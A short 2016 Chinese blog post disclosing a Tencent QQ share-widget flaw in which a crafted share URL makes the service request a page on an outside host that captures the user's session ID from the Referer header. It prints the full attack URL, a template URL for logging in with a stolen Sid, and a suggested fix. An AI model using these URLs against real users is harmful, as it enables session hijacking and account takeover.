腾讯某处xss,直接获取用户登陆权限

by灰客 | 2016-01-25 18:01

手机被偷,然后黑产牛给我发来了这个,简单分析了一下,公布以下原理。

仅供测试,请勿应用于现实生活,后果自负!

一、详细说明:

当手机用户访问:

http://connect.qq.com/widget/shareqq/index.html?url=http://host5681544d.kryptcloud.com/a.php&desc=&title=&summary=&pics=http://host5681544d.kryptcloud.com/a.php&flash=&sit&style=201&width=32&height=32

时会自动缓存网页作为图片

QQ图片20160125125715.png

但get访问时会带入 Sid, a.php可以使用 $_SERVER['HTTP_REFERER'] 获取到该Sid,从而导致用户权限可导致他人利用

二、漏洞证明:

QQ截图20160125133314.jpg

http://q32.3g.qq.com/g/s?sid=你获取的Sid&3G_UIN=123123&saveURL=0&new3gqq=true&aid=nqqchatMain

uin无需获取,3g登录会自动反填。

三、修复方案:

删掉get访问时的SID

用户自防:开启设备锁